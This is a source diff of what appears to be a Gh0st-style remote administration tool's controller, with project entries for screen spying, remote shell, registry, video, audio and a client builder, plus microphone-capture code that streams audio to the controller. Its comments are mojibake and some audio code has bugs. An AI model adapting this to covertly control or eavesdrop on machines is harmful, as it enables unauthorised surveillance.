||||
<ClInclude Include="SettingDlg.h">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="iniFile.h">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="IOCPServer.h">
|
||||
<Filter>通信类</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="CpuUseage.h">
|
||||
<Filter>CPU</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zlib.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="zconf.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Buffer.h">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ScreenSpyDlg.h">
|
||||
<Filter>远程控制</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileManagerDlg.h">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="EditDialog.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="2015RemoteDlg.h">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileTransferModeDlg.h">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="FileCompress.h">
|
||||
<Filter>头文件</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="TalkDlg.h">
|
||||
<Filter>即时消息</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ShellDlg.h">
|
||||
<Filter>远程终端</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="SystemDlg.h">
|
||||
<Filter>远程系统管理</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="AudioDlg.h">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="BuildDlg.h">
|
||||
<Filter>生成客户端</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="RegisterDlg.h">
|
||||
<Filter>远程注册表</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="ServicesDlg.h">
|
||||
<Filter>远程服务</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="VideoDlg.h">
|
||||
<Filter>远程视频</Filter>
|
||||
</ClInclude>
|
||||
<ClInclude Include="Audio.h">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClInclude>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ClCompile Include="2015Remote.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="stdafx.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="2015RemoteDlg.cpp">
|
||||
<Filter>主Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TrueColorToolBar.cpp">
|
||||
<Filter>真彩Bar</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SettingDlg.cpp">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="iniFile.cpp">
|
||||
<Filter>设置Dlg</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="IOCPServer.cpp">
|
||||
<Filter>通信类</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="CpuUseage.cpp">
|
||||
<Filter>CPU</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Buffer.cpp">
|
||||
<Filter>缓冲区</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ScreenSpyDlg.cpp">
|
||||
<Filter>远程控制</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileManagerDlg.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="EditDialog.cpp">
|
||||
<Filter>源文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileTransferModeDlg.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="TalkDlg.cpp">
|
||||
<Filter>即时消息</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ShellDlg.cpp">
|
||||
<Filter>远程终端</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="SystemDlg.cpp">
|
||||
<Filter>远程系统管理</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="FileCompress.cpp">
|
||||
<Filter>远程文件</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="AudioDlg.cpp">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="BuildDlg.cpp">
|
||||
<Filter>生成客户端</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="RegisterDlg.cpp">
|
||||
<Filter>远程注册表</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="ServicesDlg.cpp">
|
||||
<Filter>远程服务</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="VideoDlg.cpp">
|
||||
<Filter>远程视频</Filter>
|
||||
</ClCompile>
|
||||
<ClCompile Include="Audio.cpp">
|
||||
<Filter>远程音频</Filter>
|
||||
</ClCompile>
|
||||
</ItemGroup>
|
||||
<ItemGroup>
|
||||
<ResourceCompile Include="2015Remote.rc">
|
||||
<Filter>资源文件</Filter>
|
||||
</ResourceCompile>
|
||||
</ItemGroup>
|
||||
</Project>
|
||||
3
server/2015Remote/2015Remote.vcxproj.user
Normal file
@@ -0,0 +1,3 @@
|
||||
<?xml version="1.0" encoding="utf-8"?>
|
||||
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
|
||||
</Project>
|
||||
1227
server/2015Remote/2015RemoteDlg.cpp
Normal file
107
server/2015Remote/2015RemoteDlg.h
Normal file
@@ -0,0 +1,107 @@
|
||||
|
||||
// 2015RemoteDlg.h : ͷ<>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#pragma once
|
||||
#include "afxcmn.h"
|
||||
#include "TrueColorToolBar.h"
|
||||
#include "IOCPServer.h"
|
||||
|
||||
typedef struct _LOGIN_INFOR
|
||||
{
|
||||
BYTE bToken; // = 1 //<2F><>½<EFBFBD><C2BD>Ϣ
|
||||
OSVERSIONINFOEX OsVerInfoEx; // <20>汾<EFBFBD><E6B1BE>Ϣ
|
||||
DWORD dwCPUMHz; // CPU<50><55>Ƶ
|
||||
IN_ADDR ClientAddr; // <20>洢32λ<32><CEBB>IPv4<76>ĵ<EFBFBD>ַ<EFBFBD><D6B7><EFBFBD>ݽṹ
|
||||
char szPCName[MAX_PATH]; // <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL bWebCamIsExist; // <20>Ƿ<EFBFBD><C7B7><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ͷ
|
||||
DWORD dwSpeed; // <20><><EFBFBD><EFBFBD>
|
||||
}LOGIN_INFOR,*PLOGIN_INFOR;
|
||||
|
||||
// CMy2015RemoteDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
class CMy2015RemoteDlg : public CDialogEx
|
||||
{
|
||||
// <20><><EFBFBD><EFBFBD>
|
||||
public:
|
||||
CMy2015RemoteDlg(CWnd* pParent = NULL); // <20><><EFBFBD><D7BC><EFBFBD>캯<EFBFBD><ECBAAF>
|
||||
~CMy2015RemoteDlg()
|
||||
{
|
||||
DeleteCriticalSection(&m_cs);
|
||||
}
|
||||
// <20>Ի<EFBFBD><D4BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
enum { IDD = IDD_MY2015REMOTE_DIALOG };
|
||||
protected:
|
||||
virtual void DoDataExchange(CDataExchange* pDX); // DDX/DDV ֧<><D6A7>
|
||||
// ʵ<><CAB5>
|
||||
protected:
|
||||
HICON m_hIcon;
|
||||
|
||||
// <20><><EFBFBD>ɵ<EFBFBD><C9B5><EFBFBD>Ϣӳ<CFA2>亯<EFBFBD><E4BAAF>
|
||||
virtual BOOL OnInitDialog();
|
||||
afx_msg void OnSysCommand(UINT nID, LPARAM lParam);
|
||||
afx_msg void OnPaint();
|
||||
afx_msg HCURSOR OnQueryDragIcon();
|
||||
DECLARE_MESSAGE_MAP()
|
||||
public:
|
||||
|
||||
VOID CMy2015RemoteDlg::InitControl(); //<2F><>ʼ<EFBFBD>ؼ<EFBFBD>
|
||||
VOID CMy2015RemoteDlg::TestOnline(); //<2F><><EFBFBD>Ժ<EFBFBD><D4BA><EFBFBD>
|
||||
VOID CMy2015RemoteDlg::AddList(CString strIP, CString strAddr, CString strPCName, CString strOS,
|
||||
CString strCPU, CString strVideo, CString strPing,CONTEXT_OBJECT* ContextObject);
|
||||
VOID CMy2015RemoteDlg::ShowMessage(BOOL bOk, CString strMsg);
|
||||
VOID CMy2015RemoteDlg::CreatStatusBar();
|
||||
VOID CMy2015RemoteDlg::CreateToolBar();
|
||||
VOID CMy2015RemoteDlg::CreateNotifyBar();
|
||||
VOID CMy2015RemoteDlg::CreateSolidMenu();
|
||||
VOID CMy2015RemoteDlg::ListenPort();
|
||||
VOID CMy2015RemoteDlg::Activate(int nPort,int nMaxConnection);
|
||||
|
||||
static VOID CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static VOID CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
static VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject);
|
||||
VOID CMy2015RemoteDlg::SendSelectedCommand(PBYTE szBuffer, ULONG ulLength);
|
||||
// <20><>ʾ<EFBFBD>û<EFBFBD><C3BB><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>Ϣ
|
||||
CListCtrl m_CList_Online;
|
||||
CListCtrl m_CList_Message;
|
||||
|
||||
CStatusBar m_StatusBar; //״̬<D7B4><CCAC>
|
||||
CTrueColorToolBar m_ToolBar;
|
||||
NOTIFYICONDATA m_Nid;
|
||||
CRITICAL_SECTION m_cs;
|
||||
|
||||
UINT m_iCount;
|
||||
CBitmap m_bmOnline[2];
|
||||
afx_msg void OnTimer(UINT_PTR nIDEvent);
|
||||
afx_msg void OnClose();
|
||||
afx_msg void OnSize(UINT nType, int cx, int cy);
|
||||
afx_msg void OnNMRClickOnline(NMHDR *pNMHDR, LRESULT *pResult);
|
||||
afx_msg void OnOnlineMessage();
|
||||
afx_msg void OnOnlineDelete();
|
||||
afx_msg void OnAbout();
|
||||
afx_msg void OnIconNotify(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg void OnNotifyShow();
|
||||
afx_msg void OnNotifyExit();
|
||||
afx_msg void OnMainSet();
|
||||
afx_msg void OnMainExit();
|
||||
afx_msg void OnOnlineCmdManager();
|
||||
afx_msg void OnOnlineProcessManager();
|
||||
afx_msg void OnOnlineWindowManager();
|
||||
afx_msg void OnOnlineDesktopManager();
|
||||
afx_msg void OnOnlineAudioManager();
|
||||
afx_msg void OnOnlineVideoManager();
|
||||
afx_msg void OnOnlineFileManager();
|
||||
afx_msg void OnOnlineServerManager();
|
||||
afx_msg void OnOnlineRegisterManager();
|
||||
afx_msg void OnOnlineBuildClient();
|
||||
afx_msg LRESULT OnUserToOnlineList(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnUserOfflineMsg(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenScreenSpyDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenFileManagerDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenTalkDialog(WPARAM wPrarm,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenShellDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenSystemDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenAudioDialog(WPARAM wParam,LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenRegisterDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenServicesDialog(WPARAM wParam, LPARAM lParam);
|
||||
afx_msg LRESULT OnOpenVideoDialog(WPARAM wParam, LPARAM lParam);
|
||||
};
|
||||
237
server/2015Remote/Audio.cpp
Normal file
@@ -0,0 +1,237 @@
|
||||
// Audio.cpp: implementation of the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "Audio.h"
|
||||
#include <iostream>
|
||||
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
// Construction/Destruction
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
CAudio::CAudio()
|
||||
{
|
||||
m_bExit = FALSE;
|
||||
m_hThreadCallBack = false;
|
||||
m_bIsWaveInUsed = FALSE;
|
||||
m_bIsWaveOutUsed = FALSE;
|
||||
m_nWaveInIndex = 0;
|
||||
m_nWaveOutIndex = 0;
|
||||
m_hEventWaveIn = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
m_hStartRecord = CreateEvent(NULL, TRUE, FALSE, NULL);
|
||||
memset(&m_GSMWavefmt, 0, sizeof(GSM610WAVEFORMAT));
|
||||
|
||||
m_GSMWavefmt.wfx.wFormatTag = WAVE_FORMAT_GSM610;
|
||||
m_GSMWavefmt.wfx.nChannels = 1;
|
||||
m_GSMWavefmt.wfx.nSamplesPerSec = 8000;
|
||||
m_GSMWavefmt.wfx.nAvgBytesPerSec = 1625;
|
||||
m_GSMWavefmt.wfx.nBlockAlign = 65;
|
||||
m_GSMWavefmt.wfx.wBitsPerSample = 0;
|
||||
m_GSMWavefmt.wfx.cbSize = 2;
|
||||
m_GSMWavefmt.wSamplesPerBlock = 320;
|
||||
|
||||
m_ulBufferLength = 1000;
|
||||
|
||||
int i = 0;
|
||||
for (i = 0; i < 2; i++)
|
||||
{
|
||||
m_InAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_InAudioHeader[i] = new WAVEHDR;
|
||||
|
||||
m_OutAudioData[i] = new BYTE[m_ulBufferLength];
|
||||
m_OutAudioHeader[i] = new WAVEHDR;
|
||||
}
|
||||
}
|
||||
|
||||
CAudio::~CAudio()
|
||||
{
|
||||
m_bExit = TRUE;
|
||||
if (m_bIsWaveInUsed)
|
||||
{
|
||||
waveInStop(m_hWaveIn);
|
||||
waveInReset(m_hWaveIn);
|
||||
for (int i = 0; i < 2; i++)
|
||||
waveInUnprepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
|
||||
waveInClose(m_hWaveIn);
|
||||
WAIT (m_hThreadCallBack, 30);
|
||||
if (m_hThreadCallBack)
|
||||
printf("û<EFBFBD>гɹ<EFBFBD><EFBFBD>ر<EFBFBD>waveInCallBack.\n");
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; i++)
|
||||
{
|
||||
delete [] m_InAudioData[i];
|
||||
m_InAudioData[i] = NULL;
|
||||
delete [] m_InAudioHeader[i];
|
||||
m_InAudioHeader[i] = NULL;
|
||||
}
|
||||
if (m_hEventWaveIn)
|
||||
{
|
||||
SetEvent(m_hEventWaveIn);
|
||||
CloseHandle(m_hEventWaveIn);
|
||||
m_hEventWaveIn = NULL;
|
||||
}
|
||||
if (m_hStartRecord)
|
||||
{
|
||||
SetEvent(m_hStartRecord);
|
||||
CloseHandle(m_hStartRecord);
|
||||
m_hStartRecord = NULL;
|
||||
}
|
||||
|
||||
if (m_bIsWaveOutUsed)
|
||||
{
|
||||
waveOutReset(m_hWaveOut);
|
||||
for (int i = 0; i < 2; i++)
|
||||
waveOutUnprepareHeader(m_hWaveOut, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
waveOutClose(m_hWaveOut);
|
||||
}
|
||||
|
||||
for (int i = 0; i < 2; i++)
|
||||
{
|
||||
delete [] m_OutAudioData[i];
|
||||
m_OutAudioData[i] = NULL;
|
||||
delete [] m_OutAudioHeader[i];
|
||||
m_OutAudioHeader[i] = NULL;
|
||||
}
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveIn()
|
||||
{
|
||||
MMRESULT mmResult;
|
||||
DWORD dwThreadID = 0;
|
||||
|
||||
HANDLE h = NULL;
|
||||
m_hThreadCallBack = h = CreateThread(NULL, 0,
|
||||
(LPTHREAD_START_ROUTINE)waveInCallBack, (LPVOID)this,
|
||||
CREATE_SUSPENDED, &dwThreadID);
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD>¼<EFBFBD><C2BC><EFBFBD>豸COM 1 ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> 2 ֧<><D6A7>ͨ<EFBFBD><CDA8><EFBFBD>̻߳ص<CCBB> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
mmResult = waveInOpen(&m_hWaveIn, (WORD)WAVE_MAPPER,
|
||||
&(m_GSMWavefmt.wfx), (LONG)dwThreadID, (LONG)0, CALLBACK_THREAD);
|
||||
|
||||
//m_hWaveIn ¼<><C2BC><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
{
|
||||
return FALSE;
|
||||
}
|
||||
|
||||
//¼<><C2BC><EFBFBD>豸 <20><>Ҫ<EFBFBD><D2AA><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
for (int i=0; i<2; i++)
|
||||
{
|
||||
m_InAudioHeader[i]->lpData = (LPSTR)m_InAudioData[i]; //m_lpInAudioData ָ<><D6B8><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
m_InAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_InAudioHeader[i]->dwFlags = 0;
|
||||
m_InAudioHeader[i]->dwLoops = 0;
|
||||
waveInPrepareHeader(m_hWaveIn, m_InAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
waveInAddBuffer(m_hWaveIn, m_InAudioHeader[m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
|
||||
ResumeThread(h);
|
||||
CloseHandle(h);
|
||||
waveInStart(m_hWaveIn); //¼<><C2BC>
|
||||
|
||||
m_bIsWaveInUsed = TRUE;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize)
|
||||
{
|
||||
//¼<><C2BC><EFBFBD><EFBFBD>
|
||||
if(m_bIsWaveInUsed==FALSE && InitializeWaveIn()==FALSE)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
if (dwBufferSize == NULL)
|
||||
{
|
||||
return NULL;
|
||||
}
|
||||
SetEvent(m_hStartRecord);
|
||||
WaitForSingleObject(m_hEventWaveIn, INFINITE);
|
||||
*dwBufferSize = m_ulBufferLength;
|
||||
return m_InAudioData[m_nWaveInIndex]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
}
|
||||
|
||||
DWORD WINAPI CAudio::waveInCallBack(LPVOID lParam)
|
||||
{
|
||||
CAudio *This = (CAudio *)lParam;
|
||||
|
||||
MSG Msg;
|
||||
|
||||
while (GetMessage(&Msg, NULL, 0, 0))
|
||||
{
|
||||
if (This->m_bExit)
|
||||
break;
|
||||
if (Msg.message == MM_WIM_DATA)
|
||||
{
|
||||
SetEvent(This->m_hEventWaveIn);
|
||||
WaitForSingleObject(This->m_hStartRecord, INFINITE);
|
||||
|
||||
Sleep(1);
|
||||
This->m_nWaveInIndex = 1 - This->m_nWaveInIndex;
|
||||
|
||||
|
||||
//<2F><><EFBFBD>»<EFBFBD><C2BB><EFBFBD>
|
||||
MMRESULT mmResult = waveInAddBuffer(This->m_hWaveIn,
|
||||
This->m_InAudioHeader[This->m_nWaveInIndex], sizeof(WAVEHDR));
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return -1;
|
||||
}
|
||||
|
||||
if (Msg.message == MM_WIM_CLOSE)
|
||||
{
|
||||
break;
|
||||
}
|
||||
|
||||
TranslateMessage(&Msg);
|
||||
DispatchMessage(&Msg);
|
||||
}
|
||||
|
||||
std::cout<<"waveInCallBack end\n";
|
||||
This->m_hThreadCallBack = false;
|
||||
|
||||
return 0;
|
||||
}
|
||||
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize)
|
||||
{
|
||||
if (!m_bIsWaveOutUsed && !InitializeWaveOut()) //1 <20><>Ƶ<EFBFBD><C6B5>ʽ 2 <20><><EFBFBD><EFBFBD><EFBFBD>豸
|
||||
return NULL;
|
||||
|
||||
for (int i = 0; i < dwBufferSize; i += m_ulBufferLength)
|
||||
{
|
||||
memcpy(m_OutAudioData[m_nWaveOutIndex], szBuffer, m_ulBufferLength);
|
||||
waveOutWrite(m_hWaveOut, m_OutAudioHeader[m_nWaveOutIndex], sizeof(WAVEHDR));
|
||||
m_nWaveOutIndex = 1 - m_nWaveOutIndex;
|
||||
}
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CAudio::InitializeWaveOut()
|
||||
{
|
||||
if (!waveOutGetNumDevs())
|
||||
return FALSE;
|
||||
int i;
|
||||
for (i = 0; i < 2; i++)
|
||||
memset(m_OutAudioData[i], 0, m_ulBufferLength); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
MMRESULT mmResult;
|
||||
mmResult = waveOutOpen(&m_hWaveOut, (WORD)WAVE_MAPPER, &(m_GSMWavefmt.wfx), (LONG)0, (LONG)0, CALLBACK_NULL);
|
||||
if (mmResult != MMSYSERR_NOERROR)
|
||||
return false;
|
||||
|
||||
for (i = 0; i < 2; i++)
|
||||
{
|
||||
m_OutAudioHeader[i]->lpData = (LPSTR)m_OutAudioData[i];
|
||||
m_OutAudioHeader[i]->dwBufferLength = m_ulBufferLength;
|
||||
m_OutAudioHeader[i]->dwFlags = 0;
|
||||
m_OutAudioHeader[i]->dwLoops = 0;
|
||||
waveOutPrepareHeader(m_hWaveOut, m_OutAudioHeader[i], sizeof(WAVEHDR));
|
||||
}
|
||||
|
||||
m_bIsWaveOutUsed = TRUE;
|
||||
return TRUE;
|
||||
}
|
||||
44
server/2015Remote/Audio.h
Normal file
@@ -0,0 +1,44 @@
|
||||
// Audio.h: interface for the CAudio class.
|
||||
//
|
||||
//////////////////////////////////////////////////////////////////////
|
||||
|
||||
#if !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
#define AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_
|
||||
|
||||
#if _MSC_VER > 1000
|
||||
#pragma once
|
||||
#endif // _MSC_VER > 1000
|
||||
#include <MMSYSTEM.H>
|
||||
#include <MMReg.h>
|
||||
|
||||
|
||||
class CAudio
|
||||
{
|
||||
public:
|
||||
CAudio();
|
||||
virtual ~CAudio();
|
||||
GSM610WAVEFORMAT m_GSMWavefmt;
|
||||
ULONG m_ulBufferLength;
|
||||
LPWAVEHDR m_InAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
LPBYTE m_InAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
HANDLE m_hEventWaveIn;
|
||||
HANDLE m_hStartRecord; //<2F><><EFBFBD><EFBFBD><EFBFBD>¼<EFBFBD>
|
||||
HWAVEIN m_hWaveIn; //<2F>豸<EFBFBD><E8B1B8><EFBFBD><EFBFBD>
|
||||
DWORD m_nWaveInIndex;
|
||||
bool m_hThreadCallBack;
|
||||
static DWORD WINAPI waveInCallBack(LPVOID lParam); //<2F><><EFBFBD>͵<EFBFBD><CDB5><EFBFBD><EFBFBD>ض<EFBFBD>
|
||||
LPBYTE CAudio::GetRecordBuffer(LPDWORD dwBufferSize);
|
||||
BOOL CAudio::InitializeWaveIn();
|
||||
BOOL m_bIsWaveInUsed;
|
||||
|
||||
HWAVEOUT m_hWaveOut;
|
||||
BOOL m_bExit;
|
||||
BOOL m_bIsWaveOutUsed;
|
||||
DWORD m_nWaveOutIndex;
|
||||
LPWAVEHDR m_OutAudioHeader[2]; //<2F><><EFBFBD><EFBFBD>ͷ
|
||||
LPBYTE m_OutAudioData[2]; //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD> <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
BOOL CAudio::PlayBuffer(LPBYTE szBuffer, DWORD dwBufferSize);
|
||||
BOOL CAudio::InitializeWaveOut();
|
||||
};
|
||||
|
||||
#endif // !defined(AFX_AUDIO_H__56854DE7_5FE4_486F_9AFC_CE3726EF7CBC__INCLUDED_)
|
||||
125
server/2015Remote/AudioDlg.cpp
Normal file
@@ -0,0 +1,125 @@
|
||||
// AudioDlg.cpp : ʵ<><CAB5><EFBFBD>ļ<EFBFBD>
|
||||
//
|
||||
|
||||
#include "stdafx.h"
|
||||
#include "2015Remote.h"
|
||||
#include "AudioDlg.h"
|
||||
#include "afxdialogex.h"
|
||||
|
||||
|
||||
// CAudioDlg <20>Ի<EFBFBD><D4BB><EFBFBD>
|
||||
|
||||
IMPLEMENT_DYNAMIC(CAudioDlg, CDialog)
|
||||
|
||||
CAudioDlg::CAudioDlg(CWnd* pParent, IOCPServer* IOCPServer, CONTEXT_OBJECT *ContextObject)
|
||||
: CDialog(CAudioDlg::IDD, pParent)
|
||||
, m_bSend(FALSE)
|
||||
{
|
||||
m_hIcon = LoadIcon(AfxGetInstanceHandle(), MAKEINTRESOURCE(IDI_ICON_AUDIO)); //<2F><><EFBFBD><EFBFBD>ͼ<EFBFBD><CDBC>
|
||||
m_bIsWorking = TRUE;
|
||||
m_iocpServer = IOCPServer; //Ϊ<><CEAA><EFBFBD>ij<EFBFBD>Ա<EFBFBD><D4B1><EFBFBD><EFBFBD><EFBFBD><EFBFBD>ֵ
|
||||
m_ContextObject = ContextObject;
|
||||
m_hWorkThread = NULL;
|
||||
m_nTotalRecvBytes = 0;
|
||||
sockaddr_in ClientAddress;
|
||||
memset(&ClientAddress, 0, sizeof(ClientAddress)); //<2F>õ<EFBFBD><C3B5><EFBFBD><EFBFBD>ض<EFBFBD>ip
|
||||
int iClientAddressLen = sizeof(ClientAddress);
|
||||
BOOL bResult = getpeername(m_ContextObject->sClientSocket,(SOCKADDR*)&ClientAddress, &iClientAddressLen);
|
||||
|
||||
m_strIPAddress = bResult != INVALID_SOCKET ? inet_ntoa(ClientAddress.sin_addr) : "";
|
||||
}
|
||||
|
||||
CAudioDlg::~CAudioDlg()
|
||||
{
|
||||
}
|
||||
|
||||
void CAudioDlg::DoDataExchange(CDataExchange* pDX)
|
||||
{
|
||||
CDialog::DoDataExchange(pDX);
|
||||
DDX_Check(pDX, IDC_CHECK, m_bSend);
|
||||
}
|
||||
|
||||
|
||||
BEGIN_MESSAGE_MAP(CAudioDlg, CDialog)
|
||||
ON_WM_CLOSE()
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
|
||||
// CAudioDlg <20><>Ϣ<EFBFBD><CFA2><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
|
||||
BOOL CAudioDlg::OnInitDialog()
|
||||
{
|
||||
CDialog::OnInitDialog();
|
||||
|
||||
SetIcon(m_hIcon,FALSE);
|
||||
|
||||
CString strString;
|
||||
strString.Format("%s - <20><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>", m_strIPAddress);
|
||||
SetWindowText(strString);
|
||||
|
||||
BYTE bToken = COMMAND_NEXT;
|
||||
m_iocpServer->OnClientPreSending(m_ContextObject, &bToken, sizeof(BYTE));
|
||||
|
||||
//<2F><><EFBFBD><EFBFBD><EFBFBD>߳<EFBFBD> <20>ж<EFBFBD>CheckBox
|
||||
m_hWorkThread = CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)WorkThread, (LPVOID)this, 0, NULL);
|
||||
|
||||
return TRUE; // return TRUE unless you set the focus to a control
|
||||
// <20>쳣: OCX <20><><EFBFBD><EFBFBD>ҳӦ<D2B3><D3A6><EFBFBD><EFBFBD> FALSE
|
||||
}
|
||||
|
||||
DWORD CAudioDlg::WorkThread(LPVOID lParam)
|
||||
{
|
||||
CAudioDlg *This = (CAudioDlg *)lParam;
|
||||
|
||||
while (This->m_bIsWorking)
|
||||
{
|
||||
if (!This->m_bSend)
|
||||
{
|
||||
Sleep(1000);
|
||||
continue;
|
||||
}
|
||||
DWORD dwBufferSize = 0;
|
||||
LPBYTE szBuffer = This->m_AudioObject.GetRecordBuffer(&dwBufferSize); //<2F><><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD><EFBFBD>
|
||||
|
||||
if (szBuffer != NULL && dwBufferSize > 0)
|
||||
This->m_iocpServer->OnClientPreSending(This->m_ContextObject, szBuffer, dwBufferSize); //û<><C3BB><EFBFBD><EFBFBD>Ϣͷ
|
||||
}
|
||||
return 0;
|
||||
}
|
||||
|
||||
void CAudioDlg::OnReceiveComplete(void)
|
||||
{
|
||||
